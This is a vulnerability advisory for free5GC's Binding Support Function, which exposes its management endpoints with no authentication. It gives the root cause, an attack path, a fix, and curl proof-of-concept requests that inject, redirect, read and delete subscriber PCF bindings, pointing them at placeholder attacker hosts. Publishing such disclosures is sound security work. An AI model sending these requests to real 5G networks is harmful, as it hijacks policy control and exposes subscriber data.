← Back to CVE List
CVE-2026-115926NVD
Vulnerability Summary
Summary free5GC's Binding Support Function (BSF) exposes all 13 SBI management endpoints at `/nbsf-management/v1` with zero authentication middleware. Unlike every other free5GC Network Function which uses `RouterAuthorizationCheck` middleware to validate OAuth2 Bearer tokens, the BSF's `AddService()` function registers routes directly with no auth check — not even the configurable `OAuth2Required` bypass that other NFs have. Any entity with network access to the BSF SBI port can create, read, modify, and delete PCF bindings for any subscriber, enabling control-plane redirection attacks against the entire 5G core. --- Affected Component | Field | Value | |-------|-------| | Package | `github.com/free5gc/bsf` | | Version | ≤ submodule commit `1754bde` (shipped with free5gc v4.2.3) | | File | `NFs/bsf/internal/sbi/router.go:15-19` | | CWE | CWE-306 (Missing Authentication for Critical Function) | | CVSS 3.1 | 9.1 (Critical) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` | --- Vulnerability Details Root Cause — Code Comparison BSF (vulnerable) — `NFs/bsf/internal/sbi/router.go:15-19`: ```go func AddService(engine gin.Engine) { managementGroup := engine.Group("/nbsf-management/v1") // No middleware managementRoutes := getManagementRoutes() applyRoutes(managementGroup, managementRoutes) } ``` AMF (correct, reference) — `NFs/amf/internal/sbi/server.go:72-89`: ```go callbackGroup := router.Group(factory.AmfCallbackResUriPrefix) callbackGroup.Use(func(c *gin.Context) { // Auth middleware routerAuthorizationCheck.Check(c, amfContext.GetSelf()) }) applyRoutes(callbackGroup, callbackRoutes) ``` Proof via gin debug logs: BSF registers exactly 3 handlers per route (Logger, Recovery, Handler). Properly secured NFs register 5+ handlers (Logger, Recovery, Metrics, Auth, Handler). See Evidence E1. Exposed Endpoints All 13 routes at `/nbsf-management/v1` are unauthenticated: | Method | Path | Function | |--------|------|----------| | GET | `/` | Status (always available) | | POST | `/pcfBindings` | Create PCF binding | | GET | `/pcfBindings` | Query PCF bindings by SUPI/IP/DNN | | GET | `/pcfBindings/:bindingId` | Get individual binding | | PATCH | `/pcfBindings/:bindingId` | Modify binding (redirect PCF) | | DELETE | `/pcfBindings/:bindingId` | Delete binding | | POST | `/pcf-ue-bindings` | Create UE binding | | GET | `/pcf-ue-bindings` | Query UE bindings | | PATCH | `/pcf-ue-bindings/:bindingId` | Modify UE binding | | DELETE | `/pcf-ue-bindings/:bindingId` | Delete UE binding | | POST | `/pcf-mbs-bindings` | Create MBS binding | | GET | `/pcf-mbs-bindings` | Query MBS bindings | | PATCH | `/pcf-mbs-bindings/:bindingId` | Modify MBS binding | | DELETE | `/pcf-mbs-bindings/:bindingId` | Delete MBS binding | | POST | `/subscriptions` | Create subscription | | PUT | `/subscriptions/:subId` | Replace subscription | | DELETE | `/subscriptions/:subId` | Delete subscription | Attack Path ``` Step 1: Attacker POST /pcfBindings with SUPI=target, pcfIpEndPoints=[attacker IP:port] → HTTP 201 Created (no auth, no token) Step 2: SMF queries NRF → UE's PCF unknown → SMF calls BSF GET /pcfBindings?supi=target → BSF returns ATTACKER's fake PCF binding with attacker's IP:port Step 3: SMF selects fake PCF → POST /npcf-smpolicycontrol/v1/sm-policies to attacker IP → Attacker's rogue PCF receives SM Policy Association request → Attacker now controls: QoS rules, PCC rules, charging decisions, gating Step 4: SMF installs attacker-supplied PCC rules → UPF enforces them → Traffic re-routed, QoS degraded, charging bypassed ``` --- Proof of Concept Prerequisites: Network access to BSF SBI port (default: 8095). No credentials, tokens, or NF registration required. A self-contained Docker Compose lab is available (see Evidence E2). PoC 1: Create Fake PCF Binding Inject an attacker-controlled PCF binding for any subscriber: ```bash curl -X POST http://BSF:8095/nbsf-management/v1/pcfBindings \ -H "Content-Type: application/json" \ -d '{ "supi": "imsi-001010000000001", "ipv4Addr": "10.60.0.100", "dnn": "internet", "snssai": {"sst": 1, "sd": "010203"}, "pcfFqdn": "attacker-pcf.example.com", "pcfIpEndPoints": [ {"ipv4Address": "10.0.0.99", "port": 8888, "transport": "TCP"} ], "pcfId": "fake-pcf-uuid", "bindLevel": "UE_SESS_BINDING_IND" }' Expected: HTTP 201 Created — No Authorization header sent, none required ``` PoC 2: Read Subscriber Binding Retrieve any subscriber's PCF binding with SUPI, GPSI, IP, and PCF endpoint: ```bash curl "http://BSF:8095/nbsf-management/v1/pcfBindings?supi=imsi-001010000000001&ipv4Addr=10.60.0.100" Returns: SUPI, GPSI, UE IP, PCF FQDN, PCF IP endpoints, DNN, S-NSSAI ``` PoC 3: Redirect PCF to Attacker IP Patch an existing binding to redirect PCF traffic to attacker: ```bash curl -X PATCH "http://BSF:8095/nbsf-management/v1/pcfBindings/<bindingId>" \ -H "Content-Type: application/json" \ -d '{ "pcfFqdn": "rogue-pcf.evil.com", "pcfIpEndPoints": [ {"ipv4Address": "192.168.99.99", "port": 9999, "transport": "TCP"} ] }' Binding now points to attacker-controlled PCF — verified on re-read ``` PoC 4: Delete Binding Remove any binding by ID — cover tracks or deny service: ```bash curl -X DELETE "http://BSF:8095/nbsf-management/v1/pcfBindings/<bindingId>" HTTP 204 — binding removed. GET returns 404 confirming deletion. ``` PoC 5: Enumerate Subscribers Identify which subscribers have active PCF bindings: ```bash for supi in imsi-001010000000001 imsi-001010000000002 imsi-001010000000003; do curl -s "http://BSF:8095/nbsf-management/v1/pcfBindings?supi=${supi}" done ``` PoC 6: UE Binding Manipulation Separate unauthenticated channel for UE-level bindings: ```bash curl -X POST http://BSF:8095/nbsf-management/v1/pcf-ue-bindings \ -H "Content-Type: application/json" \ -d '{ "supi": "imsi-001010000000001", "ueIpv4Addr": "10.60.0.100", "dnn": "internet", "snssai": {"sst": 1, "sd": "010203"}, "pcfFqdn": "attacker-ue-pcf.example.com" }' HTTP 201 — UE binding created, no auth required ``` --- Impact | Property | Value | |----------|-------| | Confidentiality | HIGH — Read arbitrary subscriber PCF bindings (SUPI, GPSI, UE IPs, PCF FQDN, PCF endpoints) | | Integrity | HIGH — Create/overwrite/delete PCF bindings to redirect control-plane traffic | | Availability | LOW (per subscriber) — Delete bindings causing PCF selection failure | | Scope | UNCHANGED (single NF) but cascading — SMF/AMF consume poisoned BSF data | The BSF is the authoritative source for PCF session binding information per 3GPP TS 29.521. When SMF needs to select a PCF for a subscriber, it queries the BSF. A poisoned PCF binding redirects the SMF's SM Policy Association to an attacker-controlled endpoint, giving the attacker control over: - QoS policy decisions - Charging rules (PCC rules) - Traffic gating and steering - Usage monitoring --- Suggested Fix Add `RouterAuthorizationCheck` middleware to the BSF route group, following the identical pattern used by every other free5GC NF: ```go // Fixed NFs/bsf/internal/sbi/router.go func AddService(engine *gin.Engine) { managementGroup := engine.Group("/nbsf-management/v1") // ADD: OAuth2 authorization check (same as AMF/SMF/PCF/UDM/UDR/AUSF/...) authCheck := util.NewRouterAuthorizationCheck(models.ServiceName_NBSF_MANAGEMENT) managementGroup.Use(func(c *gin.Context) { authCheck.Check(c, bsf_context.GetSelf()) }) managementRoutes := getManagementRoutes() applyRoutes(managementGroup, managementRoutes) } ``` Additionally, the BSF needs: 1. `internal/util/router_auth_check.go` — same structure as AMF's or any other NF's 2. `AuthorizationCheck()` method on `BSFContext` — same pattern as all other NFs --- Discovery Found during static analysis of free5gc v4.2.3 (commit `3b34a08`) as part of a broader cross-NF authorization audit (17 findings across 11 NFs). The BSF was recently added as a submodule (commit `67316a0`: "feat: Add optional BSF integration") and appears to have shipped before completing the auth integration. --- Evidence — Screenshots & Logs All screenshots captured from the Docker Compose lab at `~/cve_research/free5gc/lab/` (free5gc v4.2.3, commit `3b34a08`). --- E1: BSF Alive — No Auth Required ``` $ curl -v http://localhost:8095/nbsf-management/v1/ < HTTP/1.1 200 OK < Content-Type: application/json; charset=utf-8 {"status":"BSF Management Service Available"} ``` `GET /nbsf-management/v1/` returns HTTP 200. No `Authorization` header was sent, no OAuth2 Bearer token, no credentials of any kind. Compare to any other free5gc NF (AMF/SMF/PCF/etc.) which returns HTTP 401 when called without a valid token. --- E2: Create Fake PCF Binding — Attack Injection (HTTP 201, No Auth) <img width="1958" height="1798" alt="create-binding" src="https://github.com/user-attachments/assets/63138a6d-db7a-41eb-8ad5-bea03735cc42" /> `POST /nbsf-management/v1/pcfBindings` with `{supi:"imsi-001010000000001", pcfIpEndPoints:[{ipv4Address:"10.0.0.99",port:8888}]}` returns HTTP 201 Created. The attacker's fake PCF binding is now stored and will be returned to any NF querying the BSF for this subscriber. No OAuth2 token, no NF registration, no credentials of any kind were sent with this request. --- E3: Read Subscriber PCF Binding — Information Disclosure (HTTP 200, No Auth) <img width="1964" height="1496" alt="read-binding" src="https://github.com/user-attachments/assets/430daea0-60f3-48fe-a852-8dd71fa21548" /> `GET /nbsf-management/v1/pcfBindings?supi=imsi-001010000000001&ipv4Addr=10.60.0.100` returns the full PCF binding: SUPI, GPSI (`msisdn-0900000001`), UE IPv4 address, DNN (`internet`), S-NSSAI, PCF FQDN (`attacker-pcf.example.com`), and PCF IP endpoint (`10.0.0.99:8888`). Queryable by SUPI, GPSI, IP, or DNN — all without authentication. --- E4: Patch PCF Binding — Redirect to Attacker-Controlled PCF (HTTP 200, No Auth) <img width="1948" height="2270" alt="patch-redirect" src="https://github.com/user-attachments/assets/e38c365d-b944-4317-ba85-f3d655056a40" /> `PATCH /nbsf-management/v1/pcfBindings/<bindingId>` redirects the PCF endpoint from `attacker-pcf.example.com` (10.0.0.99:8888) to `fully-rogue-pcf.owned.com` (192.168.99.99:9999). The modified binding is verified via a subsequent `GET` — the redirect is persistent and will be returned to any SMF querying the BSF for this subscriber. From this point, the SMF will send SM Policy Association requests to 192.168.99.99:9999, giving the attacker full control over QoS, charging, and gating decisions. --- E5: Delete PCF Binding — Cover Tracks (HTTP 204, No Auth) <img width="1980" height="444" alt="delete-binding" src="https://github.com/user-attachments/assets/90483d1e-1193-44bb-9d25-058fcbf9615e" /> `DELETE /nbsf-management/v1/pcfBindings/<bindingId>` returns HTTP 204 No Content. The subsequent `GET` returns HTTP 404, confirming deletion. An attacker can remove their injected bindings to erase evidence, or delete legitimate bindings to cause PCF selection failures for specific subscribers. --- E6: Gin Handler Count Proof — 3 vs 5 BSF startup logs (Docker `docker logs lab-bsf-1`): ``` [GIN-debug] POST /nbsf-management/v1/pcfBindings --> ...CreatePCFBinding (3 handlers) [GIN-debug] GET /nbsf-management/v1/pcfBindings --> ...GetPCFBindings (3 handlers) [GIN-debug] PATCH /nbsf-management/v1/pcfBindings/:bindingId --> ...UpdateIndPCFBinding (3 handlers) [GIN-debug] DELETE /nbsf-management/v1/pcfBindings/:bindingId --> ...DeleteIndPCFBinding (3 handlers) ``` By contrast, a properly secured NF (AMF) shows 5 handlers: ``` [GIN-debug] PUT /namf-comm/v1/ue-contexts/:ueContextId --> ...HTTPCreateUEContext (5 handlers) ``` *The 3 BSF handlers are: Logger, Recovery, Handler. The 5 AMF handlers are: Logger, Recovery, Metrics, Auth (`RouterAuthorizationCheck`), Handler. The missing Auth middleware is the root cause of this vulnerability. --- E7: MongoDB Persistence — Bindings Survive Restarts ```json free5gc> db.pcfBindings.find({}, {_id:1, supi:1, dnn:1, pcfFqdn:1}).forEach(printjson) { _id: '5693c229-7216-4543-bbcb-d260dd06f5d8', supi: 'imsi-001010000000001', dnn: 'internet', pcfFqdn: 'fully-rogue-pcf.owned.com' } ``` Bindings are stored in MongoDB and survive BSF process restarts. The attacker's injected PCF binding will persist across container restarts and be loaded back into memory on startup (`LoadPcfBindingsFromMongoDB()`). --- E8: Code Diff — BSF vs AMF (Root Cause Visualization) BSF — missing auth (`NFs/bsf/internal/sbi/router.go:15-19`): ```go func AddService(engine gin.Engine) { managementGroup := engine.Group("/nbsf-management/v1") // ← NO middleware arg managementRoutes := getManagementRoutes() applyRoutes(managementGroup, managementRoutes) } ``` AMF — correct auth pattern (`NFs/amf/internal/sbi/server.go:72-89`): ```go callbackGroup := router.Group(factory.AmfCallbackResUriPrefix) callbackGroup.Use(func(c *gin.Context) { // ← HAS middleware routerAuthorizationCheck.Check(c, amfContext.GetSelf()) }) applyRoutes(callbackGroup, callbackRoutes) ``` *The BSF is the only NF in free5gc whose `AddService()` function does not call `RouterAuthorizationCheck.Check()` on any route group. --- Related - CWE-306: Missing Authentication for Critical Function - No existing CVE covers the BSF — this is the first security finding reported against this component - Pattern identical to open5gs C-01 IDOR class (service-level auth missing) but more severe here (BSF has no auth code at all) - Other free5gc NFs properly implement `RouterAuthorizationCheck` — this is a BSF-specific omission - Companion findings in AMF/SMF/PCF/UDM/UDR OAM IDOR classes in `free5GC-static-analysis-findings.md` scripts 01-confirm-no-auth.sh 02-create-binding.sh 03-read-binding.sh 04-patch-redirect.sh 05-delete-binding.sh 06-ue-binding.sh run-all.sh lab: lab-pkg.tar.gz
CVSS v3.1 Base Metrics — Score 9.1
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityNone
Affected & Patched Versions
- github.com/free5gc/bsf <= 1754bde
Not provided by Private for this CVE.